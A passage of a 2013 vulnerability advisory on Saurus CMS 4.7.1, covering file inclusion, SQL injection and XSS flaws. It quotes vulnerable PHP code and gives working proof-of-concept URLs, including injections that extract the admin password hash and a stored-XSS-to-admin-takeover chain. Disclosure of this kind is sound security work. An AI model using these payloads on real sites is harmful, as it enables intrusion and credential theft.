扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 |
[waraxe-2013-SA#106] - Multiple Vulnerabilities in Saurus CMS 4.7.1 ================================================================================ Author: Janek Vind "waraxe" Date: 14. July 2013 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-106.html Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Web publishing system combining daily content management features with site administration and development tools. http://www.saurus.info/ Vulnerable was version 4.7.1 before 07. June 2013, older versions not tested: http://www.saurus.info/version-history/ ############################################################################### 1. Local File Inclusion in "admin/fckeditor_dialog_image.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied parameter "dialog" Preconditions: 1. Logged in as Saurus CMS user 2. At least one valid file ID must be known (can be bruteforced) Php script "admin/fckeditor_dialog_image.php" line 101: ------------------------[ source code start ]---------------------------------- $object = new Objekt(array( 'objekt_id' => (int)$site->fdat['file_id'], 'on_sisu' => 1, )); .. include_once('../js/fckeditor/editor/'.$site->fdat['dialog']); ------------------------[ source code end ]------------------------------------ Test (parameter "file_id" must be valid): http://localhost/saurus471/admin/fckeditor_dialog_image.php?file_id=10572&dialog=../../../.htaccess Result: contents of ".htaccess" file from Saurus CMS root directory will be revealed, LFI confirmed. ############################################################################### 2. Local File Inclusion in "extensions/saurus4/captcha_image.php" ############################################################################### Reason: 1. uninitialized variable "$captcha" Attack vector: 1. user-supplied parameter "captcha" Preconditions: 1. PHP setting "register_globals = on" Php script "extensions/saurus4/captcha_image.php" line 45: ------------------------[ source code start ]---------------------------------- switch ($captcha['image_type']) { case 'gif': include_once($class_path.'lgpl/GotchaGIF.class.php'); $img = new GotchaGIF($captcha['image_width'], $captcha['image_height']); break; .. if($img->create()) { //apply effects foreach($captcha['effects'] as $effect) { $effect_name = $effect['name']; //echo $effect_name; include_once($class_path.'lgpl/'.$effect_name.'.class.php'); ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/extensions/saurus4/captcha_image.php? captcha[image_type]=gif&captcha[image_width]=50&captcha[image_height]=50& captcha[effects][0][name]=../waraxe Result: Warning: include_once(../../classes/lgpl/../waraxe.class.php) [function.include-once]: failed to open stream: No such file or directory in C:\apache_www\saurus471\extensions\saurus4\captcha_image.php on line 73 PHP error message above confirms LFI vulnerability. ############################################################################### 3. Local File Inclusion in "admin/edit.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied parameter "extension_path" Preconditions: 1. Logged in as Saurus CMS user Php script "admin/edit.php" line 76: ------------------------[ source code start ]---------------------------------- if($site->fdat['extension_path']) { $actions_file = '..'.$site->fdat['extension_path'].'/actions.inc.php'; .. if (file_exists($actions_file)){ include_once($actions_file); ------------------------[ source code end ]------------------------------------ ############################################################################### 4. Remote File Inclusion in "map.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "cmd" Preconditions: 1. Windows server Php script "map.php" line 56: ------------------------[ source code start ]---------------------------------- $tmp_cmd=explode("/",$_GET['cmd']); .. foreach($tmp_cmd as $t){ // if the there is a .php in the URL then don't use aliases go directly to that file if(preg_match('/\.php$/i', $t) && file_exists($t) && !preg_match("#^\.\./#", $t)) .. include($t); ------------------------[ source code end ]------------------------------------ On *nix servers this code above is secure enough, but things change in case of Windows server - attacker is able to use backslashes, which leads to RFI. Example attack using local file: http://localhost/saurus471/map.php?cmd=..\..\..\..\test.php Example attack using remote file: http://localhost/saurus471/map.php?cmd=\\192.168.1.25\test.php ############################################################################### 5. Remote File Inclusion in "admin/change_config.php" ############################################################################### Reason: 1. uninitialized variable "$class_path" Attack vector: 1. user-supplied parameter "class_path" Preconditions: 1. PHP setting "register_globals = on" Php script "admin/change_config.php" line 25: ------------------------[ source code start ]---------------------------------- global $class_path; .. if(!isset($class_path)) { $class_path = "../classes/"; } .. include_once($class_path."port.inc.php"); ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/admin/change_config.php?class_path=http://php.net/? ############################################################################### 6. Remote File Inclusion in "admin/repair_database.php" ############################################################################### Reason: 1. uninitialized variable "$class_path" Attack vector: 1. user-supplied parameter "class_path" Preconditions: 1. PHP setting "register_globals = on" Php script "admin/repair_database.php" line 23: ------------------------[ source code start ]---------------------------------- global $class_path; if(!isset($class_path)) { $class_path = "../classes/"; } include_once($class_path."port.inc.php"); ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/admin/repair_database.php?class_path=http://php.net/? ############################################################################### 7. Remote File Inclusion in "admin/check_adminpage.php" ############################################################################### Reason: 1. uninitialized variable "$class_path" Attack vector: 1. user-supplied parameter "class_path" Preconditions: 1. PHP setting "register_globals = on" Php script "admin/check_adminpage.php" line 29: ------------------------[ source code start ]---------------------------------- if(!isset($class_path)) { $class_path = "../classes/"; } include($class_path."port.inc.php"); ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/admin/check_adminpage.php?class_path=http://php.net/? ############################################################################### 8. SQL Injection in "index.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "pg" Preconditions: 1. PHP setting "magic_quotes_gpc = Off" Php script "index.php" line 303: ------------------------[ source code start ]---------------------------------- if ($CMS_SETTINGS['switch_lang_enabled'] && !$cache_data && !$_GET['lang'] && !$_GET['keel'] && (is_numeric($_GET['id']) || is_numeric($_GET['pg']))){ $myid = $_GET['id'] ? $_GET['id'] : $_GET['pg']; $sql = "SELECT keel.extension FROM objekt LEFT JOIN keel ON keel.keel_id=objekt.keel WHERE objekt_id='".$myid."'"; $sth = new SQL($sql); $mykeel = $sth->fetchsingle(); ------------------------[ source code end ]------------------------------------ As seen above, user-submitted GET parameters "id" and "pg" are checked to be numeric before using them in SQL query. If we analyze source code more closely, then it appears to be not as secure as planned by programmer. Attacker can input GET parameter "id" with value of "0" and GET parameter "pg" with SQL injection string containing single quote. As parameter "id" is numeric, checking code will be bypassed. Next line of code tests parameter "id" and because it is zero, variable "$myid" will get value from parameter "pg". This leads to SQL Injection. Test 1: http://localhost/saurus471/?speed_debug=on&id=0&pg=123 Result: "Page was generated in 1.20000 seconds.", normal server response. Test 2: http://localhost/saurus471/?speed_debug=on&id=0&pg='+UNION+SELECT+SLEEP(5)%23 Result: "Page was generated in 6.17751 seconds.", delay observed, SQL Injection confirmed. ############################################################################### 9. SQL Injection in "classes/sapi/function.init_search_results.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied parameter "sites" Preconditions: none Php script "classes/sapi/function.init_search_results.php" line 27: ------------------------[ source code start ]---------------------------------- function smarty_function_init_search_results($params,&$smarty) { .. if(!isset($sites)) $sites = $site->fdat['sites']; .. $pre_search_explode=explode(",",strtolower(trim($sites))); foreach($pre_search_explode as $k=>$v){ $pre_search_explode[$k]=trim($v); } $sql_keel = "SELECT keel_id FROM keel WHERE on_kasutusel=1 AND extension IN ('".implode("','",$pre_search_explode)."')"; .. $sth = new SQL($sql_keel); while($r = $sth->fetch("ASSOC")){ $keeled[]=$r['keel_id']; ------------------------[ source code end ]------------------------------------ As seen above, user-submitted parameter "sites" ends up used in SQL query without proper sanitization, which leads to SQL Injection vulnerability. Test 1: http://localhost/saurus471/index.php?op=search&speed_debug=on&sites=waraxe Result: "Page was generated in 1.18560 seconds.", normal server response. Test 2: http://localhost/saurus471/index.php?op=search&speed_debug=on&sites=')UNION+SELECT+SLEEP(5)%23 Result: "Page was generated in 6.22651 seconds.", delay observed, SQL Injection confirmed. ############################################################################### 10. SQL Injection in "admin/error_log.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied parameters "algus", "lopp", "err_type", "sortby" and "sort" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/error_log.php" line 63: ------------------------[ source code start ]---------------------------------- $algus_aeg = $site->fdat['algus']? $site->fdat['algus'] : date("d.m.Y",$start_d); $lopp_aeg = $site->fdat['lopp']? $site->fdat['lopp'] : date("d.m.Y"); .. if ($algus_aeg) { $where_sql[] = " error_log.time_of_error>='".$site->db->ee_MySQL($algus_aeg)." 00:00' "; } if ($lopp_aeg) { $where_sql[] = " error_log.time_of_error<='".$site->db->ee_MySQL($lopp_aeg)." 23:59' "; } if ($site->fdat['err_type']) { $where_sql[] = " error_log.err_type = '".$site->fdat['err_type']."' "; } .. $where_str = sizeof($where_sql)>0 ? " WHERE ".join(" AND ",$where_sql) : ''; .. $site->fdat['sortby'] = $site->fdat['sortby'] ? $site->fdat['sortby'] : 'time_of_error'; $site->fdat['sort'] = $site->fdat['sort'] ? $site->fdat['sort'] : 'DESC'; .. if($site->fdat['sortby']){ $order = " ORDER BY ".$site->fdat['sortby']." ".$site->fdat['sort']; } .. $sql = $site->db->prepare("SELECT DATE_FORMAT(time_of_error,'%d.%m.%y %T') AS time_of_errorf, error_log.*"); $sql .= $from_sql; $sql .= $where_str; $sql .= $order; $sql .= $pagenumbers['limit_sql']; .. $sth = new SQL($sql); .. while ( $log = $sth->fetch() ) { ------------------------[ source code end ]------------------------------------ Test 1: http://localhost/saurus471/admin/error_log.php?err_type='UNION+SELECT+1,1,1,1,@@version,1,1,1,1,1,1%23 http://localhost/saurus471/admin/error_log.php?algus=aa-'UNION+SELECT+1,1,1,1,@@version,1,1,1,1,1,1%23 http://localhost/saurus471/admin/error_log.php?lopp=aa-'+AND+0+UNION+SELECT+1,1,1,1,@@version,1,1,1,1,1,1%23 Result: MySQL version info will be revealed Test 2: http://localhost/saurus471/admin/error_log.php?err_type='UNION+SELECT+1,1,1,1,CONCAT_WS(0x3a,username,password),1,1,1,1,1,1+FROM+users+WHERE+user_id=1%23 http://localhost/saurus471/admin/error_log.php?algus=aa-'UNION+SELECT+1,1,1,1,CONCAT_WS(0x3a,username,password),1,1,1,1,1,1+FROM+users+WHERE+user_id=1%23 http://localhost/saurus471/admin/error_log.php?lopp=aa-'+AND+0+UNION+SELECT+1,1,1,1,CONCAT_WS(0x3a,username,password),1,1,1,1,1,1+FROM+users+WHERE+user_id=1%23 Result: Username and password hash of the Saurus CMS user with ID 1 will be revealed ############################################################################### 11. SQL Injection in "admin/extensions.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied parameters "sortby" and "sort" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/extensions.php" line 297: ------------------------[ source code start ]---------------------------------- $site->fdat['sortby'] = $site->fdat['sortby'] ? $site->fdat['sortby'] : 'name'; $site->fdat['sort'] = $site->fdat['sort'] ? $site->fdat['sort'] : 'ASC'; .. if($site->fdat['sortby']){ $order = " ORDER BY ".$site->fdat['sortby']." ".$site->fdat['sort']; } .. $sql = $site->db->prepare("SELECT DATE_FORMAT(version_date,'%d.%m.%Y') AS fversion_date, extensions.*"); $sql .= $from_sql; $sql .= $order; .. $sth = new SQL($sql); .. while ( $ext = $sth->fetch() ) { ------------------------[ source code end ]------------------------------------ Test 1: http://localhost/saurus471/admin/extensions.php?sortby=1 Result: normal server response, no additional delay. Test 2: http://localhost/saurus471/admin/extensions.php?sortby=SLEEP(5)%23 Result: additionial delay observed, SQL Injection confirmed. ############################################################################### 12. SQL Injection in "admin/profile_data.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied parameters "sortby" and "sort" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/profile_data.php" line 521: ------------------------[ source code start ]---------------------------------- if($site->fdat['sortby']){ $order = " ORDER BY ".$site->fdat['sortby']." ".$site->fdat['sort']; } .. $sql .= $from_sql; $sql .= $where; $sql .= $order; $sql .= $pagenumbers['limit_sql']; $sth = new SQL($sql); .. if($sth->rows){ .. while($asset = $sth->fetch()){ ------------------------[ source code end ]------------------------------------ ############################################################################### 13. SQL Injection in "classes/user_html.inc.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied parameters "sortby" and "sort" Preconditions: 1. logged in as Saurus CMS admin Php script "classes/user_html.inc.php" line 313: ------------------------[ source code start ]---------------------------------- $order = " ORDER BY ".$site->fdat['sortby']." ".$site->fdat['sort']; .. $sql = $site->db->prepare("SELECT users.* FROM users "); $sql .= $join; $sql .= $where; $sql .= $order; $sql .= $pagenumbers['limit_sql']; .. $sth = new SQL($sql); .. while($tmp = $sth->fetch()){ ------------------------[ source code end ]------------------------------------ ############################################################################### 14. SQL Injection in "admin/sys_sonad_loetelu.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied parameter "sst_id" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/sys_sonad_loetelu.php" line 123: ------------------------[ source code start ]---------------------------------- $sst_id = ($site->fdat['sst_id'] ? $site->fdat['sst_id'] : $glossary_word_types[0]['sst_id']); if(is_numeric($site->fdat['flt_keel'])) { .. $otsi = $otsi ? " (sys_sonad_kirjeldus.sona LIKE '%".$otsi."%' OR sys_sonad.sona LIKE '%".$otsi."%' OR sys_sonad.origin_sona LIKE '%".$otsi."%' OR sys_sonad.sys_sona LIKE '%".$otsi."%' OR sys_sonad_kirjeldus.sys_sona LIKE '%".$otsi."%') " : " sys_sonad.sst_id=".$sst_id; $where_str = $site->db->prepare(" WHERE sys_sonad.keel=? AND ".$otsi." ", $keel_id, 1 ); .. $sql .= $where_str; .. $sth = new SQL($sql); .. while ( $mysona = $sth->fetch('ASSOC') ) { $words[] = $mysona; } ------------------------[ source code end ]------------------------------------ Test 1: http://localhost/saurus471/admin/sys_sonad_loetelu.php?flt_keel=1&sst_id=0+UNION+SELECT+@@version,1,1,1,1,1,1,1%23 Result: MySQL version info will be revealed Test 2: http://localhost/saurus471/admin/sys_sonad_loetelu.php?flt_keel=1&sst_id=0+UNION+SELECT+CONCAT_WS(0x3a,username,password),1,1,1,1,1,1,1+FROM+users+WHERE+user_id=1%23 Result: Username and password hash of the Saurus CMS user with ID 1 will be revealed ############################################################################### 15. SQL Injection in "admin/change_config.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied parameter "timezone" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/change_config.php" line 153: ------------------------[ source code start ]---------------------------------- $q="update config set sisu='".$site->fdat['timezone']."' where nimi='time_zone'"; new SQL($q); ------------------------[ source code end ]------------------------------------ ############################################################################### 16. Stored XSS in "admin/log.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameter "user" Preconditions: 1.1. "Enable site log" enabled (it is by default) Php script "classes/site.class.php" line 538: ------------------------[ source code start ]---------------------------------- if($this->fdat["op"] == 'login' && $this->fdat["url"] && $this->CONF['disable_form_based_login'] != "1") { $this->user = new User(array( user => $this->fdat["user"], pass => $this->fdat["pass"], "site" => &$this, )); $user_id = $this->user->user_id; if ($user_id) { .. else { # kirjuta logi new Log(array( 'action' => 'log in', 'component' => 'Users', 'type' => 'NOTICE', 'message' => "Unauthorized access to CMS: username '".$this->fdat["user"]."', IP: '".$_SERVER["REMOTE_ADDR"]."'", )); ------------------------[ source code end ]------------------------------------ As seen above, in case of failed login attempt site log entry will be created, containing various information, including submitted username. Php script "admin/log.php" line 265: ------------------------[ source code start ]---------------------------------- <?php foreach ($log_records as $log_record) { //printr($log_record); ?> .. <td><?=$log_record['message'];?></td> ------------------------[ source code end ]------------------------------------ We can see, that php script "admin/log.php", used by admins for sitelog view, does not implement proper encoding or escaping of output, leading to Stored XSS vulenrability. Because this specific XSS payload can be inserted by anonymous user, but target victim is admin, then it has serious security impact and can lead to site full compromise. Possible attack scenario: 1. Stored XSS insertion, 2. admin opens log.php, XSS payload steals CSRF token, 3. CSRF attack, new admin account creation, 4. attacker logs in as new admin, game over ... Test: 1. Issue GET request as below: http://localhost/saurus471/admin/?op=login&url=1&user=<script>alert(123);</script> 2. Log in as Saurus CMS admin and open site log page: http://localhost/saurus471/admin/log.php Result: javascript alert box pops up, confirming Stored XSS vulnerability. ############################################################################### 17. Stored XSS in "admin/error_log.php" ############################################################################### Reason: 1. improper encoding or escaping of output Preconditions: 1. "Save PHP and MySQL errors into the database" enabled (it is by default) Php script "classes/port.inc.php" line 150: ------------------------[ source code start ]---------------------------------- function saurusErrorHandler($errno, $errmsg, $filename, $linenum, $vars){ .. if (!defined("SAVE_ERROR_LOG")){ $res = @mysql_query("SELECT sisu FROM config WHERE nimi='save_error_log'"); if ($res){ list($tmp) = @mysql_fetch_array($res); } define("SAVE_ERROR_LOG", ($tmp ? 1:0)); } if (SAVE_ERROR_LOG && !substr_count($errmsg, 'mysql_num_fields')){ @mysql_query("INSERT INTO error_log (time_of_error, source, err_text, err_type, domain, referrer, fdat_scope, ip, remote_user) VALUES (NOW(), '".addslashes($filename." line ".$linenum)."', '".addslashes($errmsg)."', 'PHP', '".addslashes($_SERVER['HTTP_HOST'])."', '".addslashes($_SERVER['REQUEST_URI'])."', '".addslashes($serialized_fdat). "', '".$_SERVER['REMOTE_ADDR']."', '".addslashes($_SERVER['REMOTE_USER'])."')"); } } } # Redefine error handler $old_error_handler = set_error_handler("saurusErrorHandler"); ------------------------[ source code end ]------------------------------------ As seen above, new PHP error handler is defined, which writes all PHP error messages to error log in database. Php script "admin/error_log.php" line 320: ------------------------[ source code start ]---------------------------------- <td width="60%"><?= $log['err_text'] ?></td> ------------------------[ source code end ]------------------------------------ We can see, that php script "admin/log.php", used by admins for error log view, does not implement proper encoding or escaping of output, leading to Stored XSS vulenrability. Because this specific XSS payload can be inserted by anonymous user, but target victim is admin, then it has serious security impact and can lead to site full compromise by similar scenario as described in previous case. Test: 1. Issue GET request as below (MySQL Injection from one of the previous cases): http://localhost/saurus471/?id=0&pg='<script>alert(123);</script> 2. Log in as Saurus CMS admin and open erro log page: http://localhost/saurus471/admin/error_log.php Result: javascript alert box pops up, confirming Stored XSS vulnerability. ############################################################################### 18. XSS protection bypass in "classes/port.inc.php" ############################################################################### Php script "classes/port.inc.php" line 536: ------------------------[ source code start ]---------------------------------- if(strstr($_SERVER['REQUEST_URI'], $CMS_SETTINGS['wwwroot'].'/admin/') === false && ( detect_xss_in_saurus_params($_SERVER['QUERY_STRING']) || detect_xss_in_saurus_params($_SERVER['REQUEST_URI']) || detect_xss_in_string($_SERVER['PHP_SELF']) || detect_xss_in_saurus_params($_POST) || detect_xss_in_saurus_params($_GET)) ) { header('Location: '.$CMS_SETTINGS['wwwroot'].'/index.php'); exit; } ------------------------[ source code end ]------------------------------------ We can see, that XSS detection functions are used against various input parameters and in case of positive hit redirection to home page follows. There is custom exclusion in place for administrative scripts and it's implementation is not secure enough - attacker can use "$CMS_SETTINGS['wwwroot'].'/admin/'" string in URI and XSS detection will be bypassed. String for XSS detection bypass is "/saurus471/admin/" in examples below. Test 1: http://localhost/saurus471/kalender.php?month=<script> Result: XSS detected, redirection follows Test 2: http://localhost/saurus471/kalender.php?/saurus471/admin/&month=<script> Result: XSS not detected, no redirection ############################################################################### 19. Reflected XSS in "kalender.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameters "form", "vorm", "form_field", "lahter" and "month" Preconditions: none Php script "kalender.php" line 50: ------------------------[ source code start ]---------------------------------- <script type="text/javascript"> //<!-- // Handle click of OK link function handleOK(selected_date) { if (opener && !opener.closed) { opener.document.<?if(isset($site->fdat['form'])){echo $site->fdat['form'];} else{ echo $site->fdat['vorm'];}?>. <?if(isset($site->fdat['form_field'])){echo $site->fdat['form_field'];} else{ echo $site->fdat['lahter'];}?>.value=selected_date; opener.document.<?if(isset($site->fdat['form'])){echo $site->fdat['form'];} else{ echo $site->fdat['vorm'];}?>. <?if(isset($site->fdat['form_field'])){echo $site->fdat['form_field'];} else{ echo $site->fdat['lahter'];}?>.focus(); .. if($site->fdat['month']>=1&&$site->fdat['month']<=12) { $month = $site->fdat['month']; .. defaultDate: new Date(<?=$year;?>, <?=$month;?> - 1, <?=$day;?>), ------------------------[ source code end ]------------------------------------ Tests: http://localhost/saurus471/kalender.php?form=</script><script>alert(123);</script> http://localhost/saurus471/kalender.php?vorm=</script><script>alert(123);</script> http://localhost/saurus471/kalender.php?form_field=</script><script>alert(123);</script> http://localhost/saurus471/kalender.php?lahter=</script><script>alert(123);</script> http://localhost/saurus471/kalender.php?/saurus471/admin/&month=1</script><script>alert(123);</script> Results: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities. ############################################################################### 20. Reflected XSS in "editor/kalender.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameters "form", "vorm", "form_field", "lahter" and "month" Preconditions: 1. must be logged in as user Php script "editor/kalender.php" line 50: ------------------------[ source code start ]---------------------------------- <script type="text/javascript"> //<!-- // Handle click of OK link function handleOK(selected_date) { if (opener && !opener.closed) { opener.document.<?if(isset($site->fdat['form'])){echo $site->fdat['form'];} else{ echo $site->fdat['vorm'];}?>. <?if(isset($site->fdat['form_field'])){echo $site->fdat['form_field'];} else{ echo $site->fdat['lahter'];}?>.value=selected_date; opener.document.<?if(isset($site->fdat['form'])){echo $site->fdat['form'];} else{ echo $site->fdat['vorm'];}?>. <?if(isset($site->fdat['form_field'])){echo 